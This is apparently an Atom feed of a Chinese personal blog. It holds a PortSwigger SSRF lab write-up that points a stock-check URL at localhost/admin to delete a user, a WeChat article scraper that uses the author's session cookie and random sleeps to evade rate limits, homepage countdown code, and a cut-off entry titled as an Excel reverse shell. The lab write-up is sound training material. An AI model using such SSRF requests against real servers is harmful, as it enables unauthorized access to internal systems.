<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ANINEGの小屋</title>
  
  
  <link href="https://blog.anineg.space/atom.xml" rel="self"/>
  
  <link href="https://blog.anineg.space/"/>
  <updated>2024-05-06T09:44:44.328Z</updated>
  <id>https://blog.anineg.space/</id>
  
  <author>
    <name>ANINEG</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Basic SSRF against the local server</title>
    <link href="https://blog.anineg.space/2024/05/06/ssrf/"/>
    <id>https://blog.anineg.space/2024/05/06/ssrf/</id>
    <published>2024-05-06T09:07:52.000Z</published>
    <updated>2024-05-06T09:44:44.328Z</updated>
    
    <content type="html"><![CDATA[<h1>Lab: Basic SSRF against the local server</h1><h2 id="一、基础概念">一、基础概念</h2><p>Server-side request forgery (SSRF)，服务端请求伪造，简单来说，就是你可以访问A站点，A站点可以访问内网的B站点，你不可以直接访问B站点，但是由于A站点的防护措施或者校验不足，你可以通过控制请求，访问到B站点上的资源，然后A站点将内部网络返回的结果传递给你，你就完成了对内网的攻击。SSRF可能可以实现扫描内网，向内部任意主机的任意端口发送构造的攻击请求，攻击内网WEB应用，读取文件等等。</p><h2 id="二、题目">二、题目</h2><p><strong>题目链接：</strong> <a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost">https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost</a></p><p><strong>APPRENTICE</strong></p><p>This lab has a stock check feature which fetches data from an internal system.</p><p>这个实验室有一个库存检查功能，可以从内部系统获取数据。</p><p>To solve the lab, change the stock check URL to access the admin interface at <code>http://localhost/admin</code> and delete the user <code>carlos</code>.</p><p>要解决实验室问题，请更改库存检查URL以访问的管理界面<code>http://localhost/admin</code>并删除用户<code>carlos</code>。</p><h2 id="三、实验">三、实验</h2><p>打开实验环境，是一个商品页面：</p><p><img src="https://img.anineg.space/202405061708995.png" alt="image-20240506164400830"></p><p>在商品详情中，有一个可以查询库存的按钮：</p><p><img src="https://img.anineg.space/202405061708808.png" alt="image-20240506164509496"></p><p>开启Burpsuit对这个按钮的动作进行抓取：</p><p><img src="https://img.anineg.space/202405061708904.png" alt="image-20240506165607493"></p><p>这里的API:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1</span><br><span class="line">URL解码后为</span><br><span class="line">http://stock.weliketoshop.net:8080/product/stock/check?productId=1&amp;storeId=1</span><br></pre></td></tr></tbody></table></figure><p>根据题目的提示，我们用这个API去访问<code>http://localhost/admin</code>：</p><p><img src="https://img.anineg.space/202405061708885.png" alt="image-20240506170251909"></p><p>成功进入到admin页面。于是便可进行删除用户<code>carlos</code>的操作：</p><p>在Raw中看到删除的按钮：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;span&gt;carlos - &lt;/span&gt;</span><br><span class="line">                            &lt;a href="/admin/delete?username=carlos"&gt;Delete&lt;/a&gt;</span><br></pre></td></tr></tbody></table></figure><p><img src="https://img.anineg.space/202405061708865.png" alt="image-20240506170601931"></p><p>问题解决！</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1&gt;Lab: Basic SSRF against the local server&lt;/h1&gt;
&lt;h2 id=&quot;一、基础概念&quot;&gt;一、基础概念&lt;/h2&gt;
&lt;p&gt;Server-side request forgery (SSRF)，服务端请求伪造，简单来说，就是你可以访问A站点，</summary>
      
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>Python网络爬虫之微信公众号（待改进）</title>
    <link href="https://blog.anineg.space/2023/05/31/pypachong/"/>
    <id>https://blog.anineg.space/2023/05/31/pypachong/</id>
    <published>2023-05-31T08:44:27.000Z</published>
    <updated>2023-06-01T06:43:29.875Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>近日得到一任务：需要爬取某个公众号的文章并保存到本地，然后进行分析。那么对于公众号爬取确实是比较少见而且有点难度，在搜集资料后，结合网络文章的经验以及自己的改进，实现了这一功能。参考文章会在文末列出。</p><h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><ul><li>Python环境</li><li>电脑或是服务器</li><li>一个自己能登陆的微信公众号</li></ul><h1 id="批量获取公众号推送链接"><a href="#批量获取公众号推送链接" class="headerlink" title="批量获取公众号推送链接"></a>批量获取公众号推送链接</h1><p>由于公众号的每一篇文章的链接似乎是随机生成的，相互之间没有关联，因此要批量获取某公众号的文章链接需要用到一定的方法，搜狗微信只能获取到最近的几篇文章，并不能做到全部收录。这里就需要用到自己的微信公众号的后台了。</p><p>登录<a href="https://mp.weixin.qq.com/">微信公众平台</a>，新建文章，点击超链接。此时打开浏览器的检查模式，选择<code>网络(Network)</code>，然后在窗口中选择你要爬取的公众号。</p><h2 id="获取fakeid和token"><a href="#获取fakeid和token" class="headerlink" title="获取fakeid和token"></a>获取fakeid和token</h2><p><img src="https://img.anineg.space/pypachong1.png" alt=""></p><p>这时我们可以看到，<code>网络</code>中出现了一个“<code>appmsg</code>”开头的内容，这就是我们需要的目标。将它的请求URL记录在下面（*隐去了部分内容）：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://mp.weixin.qq.com/cgi-bin/appmsg?action=list_ex&amp;begin=0&amp;count=5&amp;fakeid=MzI2********Mw==&amp;type=9&amp;query=&amp;token=465***914lang=zh_CN&amp;f=json&amp;ajax=1</span><br></pre></td></tr></tbody></table></figure><p>该链接分为三部分：</p><ol><li><code>https://mp.weixin.qq.com/cgi-bin/appmsg</code> 请求的基础部分</li><li><code>?action=list_ex</code> 常用于动态网站，实现不同的参数值而生成不同的页面或者返回不同的结果</li><li><code>&amp;begin=0&amp;count=5&amp;fakeid=MzI2MTE0NTE3Mw==&amp;type=9&amp;query=&amp;token=465219914&amp;lang=zh_CN&amp;f=json&amp;ajax=1</code> 设置各种参数，我们需要的就是用到这里的<code>fakeid=MzI2********Mw==</code>以及<code>token=465***914</code></li></ol><h2 id="获取浏览器Cookie和User-Agent"><a href="#获取浏览器Cookie和User-Agent" class="headerlink" title="获取浏览器Cookie和User-Agent"></a>获取浏览器Cookie和User-Agent</h2><p>在python运行时，我们需要它能以登录的状态去访问该URL。因此需要找到我们浏览器保存的Cookie和User-Agent：</p><p>开浏览器的检查模式，选择<code>文档(Document)</code>。此时刷新网页，就可以看到一个“<code>home</code>”开头的内容：</p><p><img src="https://img.anineg.space/pypachong3.png" alt=""></p><p>从这里我们可以获得Cookie和User-Agent参数。</p><p><img src="https://img.anineg.space/pypachong4.png" alt=""></p><h2 id="保存为yaml文件方便加载"><a href="#保存为yaml文件方便加载" class="headerlink" title="保存为yaml文件方便加载"></a>保存为yaml文件方便加载</h2><p>将上述四个参数保存至一个<code>wechat.yaml</code>文件中，方便后面在python中加载。</p><p>文件内容：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cookie : RK=P/Pd1qTtZk; ptcz......</span><br><span class="line">user_agent : Mozilla/5.0......</span><br><span class="line">fakeid : MzI2.......</span><br><span class="line">token : 2023483153......</span><br></pre></td></tr></tbody></table></figure><h2 id="URL爬取"><a href="#URL爬取" class="headerlink" title="URL爬取"></a>URL爬取</h2><p>这部分主要参考了<a href="https://zhuanlan.zhihu.com/p/379062852">@Author:YuFanWenShu</a>的代码：</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> yaml</span><br><span class="line"></span><br><span class="line"><span class="comment">#加载参数</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">"wechat.yaml"</span>, <span class="string">"r"</span>) <span class="keyword">as</span> file: <span class="comment">#将上文的wechat.yaml放在同一文件夹</span></span><br><span class="line">    file_data = file.read()</span><br><span class="line">config = yaml.safe_load(file_data)</span><br><span class="line"></span><br><span class="line">headers = {</span><br><span class="line">    <span class="string">"Cookie"</span>: config[<span class="string">'cookie'</span>],</span><br><span class="line">    <span class="string">"User-Agent"</span>: config[<span class="string">'user_agent'</span>]</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请求参数</span></span><br><span class="line">url = <span class="string">"https://mp.weixin.qq.com/cgi-bin/appmsg"</span></span><br><span class="line">begin = <span class="string">"0"</span></span><br><span class="line">params = {</span><br><span class="line">    <span class="string">"action"</span>: <span class="string">"list_ex"</span>,</span><br><span class="line">    <span class="string">"begin"</span>: begin,</span><br><span class="line">    <span class="string">"count"</span>: <span class="string">"5"</span>,</span><br><span class="line">    <span class="string">"fakeid"</span>: config[<span class="string">'fakeid'</span>],</span><br><span class="line">    <span class="string">"type"</span>: <span class="string">"9"</span>,</span><br><span class="line">    <span class="string">"token"</span>: config[<span class="string">'token'</span>],</span><br><span class="line">    <span class="string">"lang"</span>: <span class="string">"zh_CN"</span>,</span><br><span class="line">    <span class="string">"f"</span>: <span class="string">"json"</span>,</span><br><span class="line">    <span class="string">"ajax"</span>: <span class="string">"1"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 存放结果</span></span><br><span class="line">app_msg_list = []</span><br><span class="line"><span class="comment"># 在不知道公众号有多少文章的情况下，使用while语句</span></span><br><span class="line"><span class="comment"># 也方便重新运行时设置页数</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">"app_msg_list.csv"</span>, <span class="string">"w"</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> file:</span><br><span class="line">    file.write(<span class="string">"文章标识符aid,标题title,链接url,时间time\n"</span>)</span><br><span class="line">page = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    begin = page * <span class="number">5</span></span><br><span class="line">    params[<span class="string">"begin"</span>] = <span class="built_in">str</span>(begin)</span><br><span class="line">    <span class="comment"># 随机暂停几秒，避免过快的请求导致过快的被查到</span></span><br><span class="line">    time.sleep(random.randint(<span class="number">1</span>, <span class="number">10</span>))</span><br><span class="line">    resp = requests.get(url, headers=headers, params=params, verify=<span class="literal">False</span>)</span><br><span class="line">    <span class="comment"># 微信流量控制, 退出</span></span><br><span class="line">    <span class="keyword">if</span> resp.json()[<span class="string">'base_resp'</span>][<span class="string">'ret'</span>] == <span class="number">200013</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">"frequencey control, stop at {}"</span>.<span class="built_in">format</span>(<span class="built_in">str</span>(begin)))</span><br><span class="line">        time.sleep(<span class="number">3600</span>)</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 如果返回的内容中为空则结束</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(resp.json()[<span class="string">'app_msg_list'</span>]) == <span class="number">0</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">"all ariticle parsed"</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    msg = resp.json()</span><br><span class="line">    <span class="keyword">if</span> <span class="string">"app_msg_list"</span> <span class="keyword">in</span> msg:</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> msg[<span class="string">"app_msg_list"</span>]:</span><br><span class="line">            info = <span class="string">'"{}","{}","{}","{}"'</span>.<span class="built_in">format</span>(<span class="built_in">str</span>(item[<span class="string">"aid"</span>]), item[<span class="string">'title'</span>], item[<span class="string">'link'</span>], <span class="built_in">str</span>(item[<span class="string">'create_time'</span>]))</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">"app_msg_list.csv"</span>, <span class="string">"a"</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(info + <span class="string">'\n'</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f"第<span class="subst">{page}</span>页爬取成功\n"</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">"\n"</span>.join(info.split(<span class="string">","</span>)))</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">"\n\n---------------------------------------------------------------------------------\n"</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 翻页</span></span><br><span class="line">    page += <span class="number">1</span></span><br></pre></td></tr></tbody></table></figure><p>经测试，每爬取大约200篇文章会遇到流量限制，此时需要等待一小时左右。一个账号一天最多只能爬取1000篇左右，我在这里测试的时候，是在大约1200篇的时候停下了，可能需要一天甚至更长的时间才能继续…….</p><h1 id="将爬取的文章批量下载至本地（待改进）"><a href="#将爬取的文章批量下载至本地（待改进）" class="headerlink" title="将爬取的文章批量下载至本地（待改进）"></a>将爬取的文章批量下载至本地（待改进）</h1><p>使用<code>pdfkit</code>将文章转为PDF，可能需要安装：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip install pdfkit</span><br><span class="line">pip install bs4</span><br><span class="line">pip install html5lib</span><br></pre></td></tr></tbody></table></figure><p>还需要安装一个工具：<a href="https://wkhtmltopdf.org/downloads.html">wkhtmltopdf下载链接</a></p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> csv</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> pdfkit</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"></span><br><span class="line"><span class="comment"># 选项</span></span><br><span class="line">options = {</span><br><span class="line">    <span class="string">'page-size'</span>: <span class="string">'A4'</span>,</span><br><span class="line">    <span class="comment">#     'margin-top': '0.75in',</span></span><br><span class="line">    <span class="comment">#     'margin-right': '0.75in',</span></span><br><span class="line">    <span class="comment">#     'margin-bottom': '0.75in',</span></span><br><span class="line">    <span class="comment">#     'margin-left': '0.75in',</span></span><br><span class="line">    <span class="string">'encoding'</span>: <span class="string">"UTF-8"</span>,</span><br><span class="line">    <span class="comment"># "enable-local-file-access": True,</span></span><br><span class="line">    <span class="comment">#      'custom-header': headers,</span></span><br><span class="line">    <span class="comment">#     'debug-javascript': [''],</span></span><br><span class="line">    <span class="comment">#     'javascript-delay': 10000,</span></span><br><span class="line">    <span class="comment">#     'no-stop-slow-scripts': "",</span></span><br><span class="line">    <span class="comment">#     'load-media-error-handling': 'abort',</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">path_wkthmltopdf = <span class="string">r'C:\Program Files\wkhtmltopdf\bin\wkhtmltopdf.exe'</span></span><br><span class="line">config = pdfkit.configuration(wkhtmltopdf=path_wkthmltopdf)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 替换特殊字符</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">validate_title</span>(<span class="params">title</span>):</span><br><span class="line">    rstr = <span class="string">r"[\/\\\:\*\?\"\&lt;\&gt;\|]"</span>  <span class="comment"># '/ \ : * ? " &lt; &gt; |'</span></span><br><span class="line">    new_title = re.sub(rstr, <span class="string">"_"</span>, title)  <span class="comment"># 替换为下划线</span></span><br><span class="line">    new_title = new_title.replace(<span class="string">'：'</span>, <span class="string">' _'</span>)</span><br><span class="line">    new_title = new_title.replace(<span class="string">'？'</span>, <span class="string">'_'</span>)</span><br><span class="line">    <span class="keyword">return</span> new_title</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">"D:\\turn-to-pdf\\app_msg_list.csv"</span>, <span class="string">'r'</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> f:</span><br><span class="line">    reader = csv.reader(f)</span><br><span class="line">    <span class="comment"># next(reader)  # 跳过CSV文件的表头行</span></span><br><span class="line">    i = <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> row <span class="keyword">in</span> reader:</span><br><span class="line">        aid, title, url, time = row</span><br><span class="line">        <span class="keyword">if</span> url.find(<span class="string">'mp.weixin.qq.com'</span>) &gt; <span class="number">0</span>:</span><br><span class="line">            res = requests.get(url)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">'此内容发送失败无法查看'</span> <span class="keyword">in</span> res.text:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="comment"># data-src替换为src 有时候返回的正文被隐藏了，将hidden去掉</span></span><br><span class="line">            html = res.text.replace(<span class="string">"data-src"</span>, <span class="string">"src"</span>).replace(<span class="string">'style="visibility: hidden;"'</span>, <span class="string">""</span>)</span><br><span class="line"></span><br><span class="line">            soup = BeautifulSoup(html, features=<span class="string">"html5lib"</span>)</span><br><span class="line">            <span class="comment"># 选择正文（去除javascrapt等）</span></span><br><span class="line">            html = soup.select(<span class="string">'div#img-content'</span>)[<span class="number">0</span>]</span><br><span class="line">            html = <span class="built_in">str</span>(html).replace(<span class="string">"font-family: 仿宋;"</span>, <span class="string">""</span>)</span><br><span class="line">            output = title + <span class="string">'.pdf'</span></span><br><span class="line">            pdfkit.from_string(<span class="built_in">str</span>(html), output, configuration=config, options=options)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f"<span class="subst">{i}</span>:<span class="subst">{title}</span> 已完成"</span>)</span><br><span class="line">            i += <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f"Skipping <span class="subst">{url}</span> because it's not from WeChat."</span>)</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>这一步有很多奇怪的问题，比如如果原文中有仿宋字体的话，在转成PDF后全部都不能正常显示。于是在转为PDF之前将HTML中的所有仿宋全部替换为默认字体。</p><p><img src="https://img.anineg.space/pypachong5.png" alt=""></p><p>这一部分还有诸多问题没有解决，但目前小部分的转换应该没有太大问题。偶尔还会遇到一些报错，暂时也还没有解决。如果各位大佬有办法，欢迎在评论区留言！</p><details class="folding-tag" cyan="" close=""><summary> 参考文章： </summary>              <div class="content">              <div class="tag link"><a class="link-card" title="用Python爬取指定公众号所有文章" href="https://zhuanlan.zhihu.com/p/379062852"><div class="left"><img src="https://img.anineg.space/zhihu.png"></div><div class="right"><p class="text">用Python爬取指定公众号所有文章</p><p class="url">https://zhuanlan.zhihu.com/p/379062852</p></div></a></div><div class="tag link"><a class="link-card" title="【Python】将微信收藏的文章批量导出为pdf" href="https://blog.csdn.net/qq_32832803/article/details/122508085"><div class="left"><img src="https://img.anineg.space/csdn.png"></div><div class="right"><p class="text">【Python】将微信收藏的文章批量导出为pdf</p><p class="url">https://blog.csdn.net/qq_32832803/article/details/122508085</p></div></a></div>              </div>            </details>]]></content>
    
    
    <summary type="html">微信公众号文章爬取及保存至本地pdf（待改进）</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="分享会" scheme="https://blog.anineg.space/tags/%E5%88%86%E4%BA%AB%E4%BC%9A/"/>
    
    <category term="Python" scheme="https://blog.anineg.space/tags/Python/"/>
    
  </entry>
  
  <entry>
    <title>主页源码修改记录（简单网页倒计时+跳转+文本替换）</title>
    <link href="https://blog.anineg.space/2023/04/14/indexcode/"/>
    <id>https://blog.anineg.space/2023/04/14/indexcode/</id>
    <published>2023-04-14T03:35:33.000Z</published>
    <updated>2023-04-14T08:29:33.904Z</updated>
    
    <content type="html"><![CDATA[<h1 id="网站模板"><a href="#网站模板" class="headerlink" title="网站模板"></a>网站模板</h1><p>我的主页<a href="https://anineg.space/">ANINEGの小屋</a>模板是使用的来自<a href="https://html5up.net/">https://html5up.net</a>的免费模板，以下是网页的介绍：</p><ul><li>Fully <strong>Responsive</strong></li><li>Built on intelligent <strong>HTML5 + CSS3</strong></li><li>Super <strong>Customizable</strong></li><li><strong>100% Free</strong> under the <a href="https://html5up.net/license">Creative Commons</a></li></ul><p>有需要的同学们可以去自行下载。</p><p><img src="https://img.anineg.space/myindex.png" alt=""></p><h1 id="源码修改"><a href="#源码修改" class="headerlink" title="源码修改"></a>源码修改</h1><p>在原有模板的基础上，我增添了如下功能：</p><ol><li>它会在页面上显示10秒倒计时，结束后后自动跳转到博客页。</li><li>在倒计时这10秒中可以对博客网页进行预加载。</li><li>当用户单击网页任何位置时，倒计时停止，并将显示倒计时的文本替换为“欢迎访问ANINEG的小屋”</li></ol><p>以下是实现过程：</p><figure class="highlight html"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> preloadUrl = <span class="string">"https://blog.anineg.space/"</span>; <span class="comment">// 需要预加载的页面地址</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> iframe = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">"iframe"</span>); <span class="comment">// 创建一个iframe元素</span></span></span><br><span class="line"><span class="language-javascript">    iframe.<span class="property">style</span>.<span class="property">display</span> = <span class="string">"none"</span>; <span class="comment">// 将iframe元素隐藏</span></span></span><br><span class="line"><span class="language-javascript">    iframe.<span class="property">src</span> = preloadUrl; <span class="comment">// 设置预加载页面的地址</span></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(iframe); <span class="comment">// 将iframe元素添加到body中，开始预加载</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> count = <span class="number">13</span>; <span class="comment">// 设置倒计时时间</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> intervalId = <span class="built_in">setInterval</span>(<span class="keyword">function</span>(<span class="params"></span>) {</span></span><br><span class="line"><span class="language-javascript">        count--;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">"countdown"</span>).<span class="property">innerHTML</span> = count; <span class="comment">// 更新倒计时数字</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (count &lt;= <span class="number">0</span>) {</span></span><br><span class="line"><span class="language-javascript">            <span class="built_in">clearInterval</span>(intervalId); <span class="comment">// 清除计时器</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">"countdown-text"</span>).<span class="property">innerHTML</span> = <span class="string">"欢迎访问ANINEG的小屋"</span>; <span class="comment">// 替换倒计时提示为“欢迎访问”</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">href</span> = <span class="string">"https://blog.anineg.space/"</span>; <span class="comment">// 跳转到下一个页面</span></span></span><br><span class="line"><span class="language-javascript">        }</span></span><br><span class="line"><span class="language-javascript">    }, <span class="number">1000</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="title function_">addEventListener</span>(<span class="string">"click"</span>, <span class="keyword">function</span>(<span class="params"></span>) {</span></span><br><span class="line"><span class="language-javascript">        <span class="built_in">clearInterval</span>(intervalId); <span class="comment">// 清除计时器</span></span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">"countdown-text"</span>).<span class="property">innerHTML</span> = <span class="string">"欢迎访问ANINEG的小屋"</span>; <span class="comment">// 替换倒计时提示为“欢迎访问”</span></span></span><br><span class="line"><span class="language-javascript">    });</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">"countdown-text"</span>&gt;</span><span class="tag">&lt;<span class="name">span</span> <span class="attr">id</span>=<span class="string">"countdown"</span>&gt;</span>13<span class="tag">&lt;/<span class="name">span</span>&gt;</span> 秒后自动前往博客页···<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>实际上，该模板的入场动画大概耗费3秒左右，因此需要10秒自动跳转的效果就需要将预设调为13秒。</p><p>在预加载部分，在倒计时开始时，使用JavaScript动态创建一个<code>&lt;iframe&gt;</code>元素，并将需要预加载的页面设置为该<code>&lt;iframe&gt;</code>的<code>src</code>属性。这样，浏览器就会在倒计时期间开始预加载该页面，从而提高用户体验。</p><p>接着，我们创建了一个计时器，每秒减少计数器变量<code>count</code>的值，并更新页面上的倒计时数字。当<code>count</code>的值减少到0时，清除计时器并跳转到下一个页面。最后，在页面上添加了一个事件监听器，当用户单击页面上的任何位置时，清除计时器，停止倒计时。</p><p>最后，我们在页面中添加了一个<code>&lt;p&gt;</code>元素，并将其<code>id</code>属性设置为<code>"countdown-text"</code>，用于显示倒计时提示或替换后的新文本。在计时器停止时，我们使用JavaScript修改了该元素的文本内容，将倒计时提示替换为需要显示的新文本。同时在单击事件监听器中补充添加了一行代码，用于在停止计时器时替换倒计时提示为“欢迎访问”文本。这样，无论是计时器正常结束还是被单击事件停止，都会显示“欢迎访问”文本。</p>]]></content>
    
    
    <summary type="html">“ANINEGの小屋”主页源码及微调记录</summary>
    
    
    
    <category term="随手记" scheme="https://blog.anineg.space/categories/%E9%9A%8F%E6%89%8B%E8%AE%B0/"/>
    
    
    <category term="源码" scheme="https://blog.anineg.space/tags/%E6%BA%90%E7%A0%81/"/>
    
  </entry>
  
  <entry>
    <title>反弹Shell:通过Excel表格进行远控</title>
    <link href="https://blog.anineg.space/2023/04/02/officevba/"/>
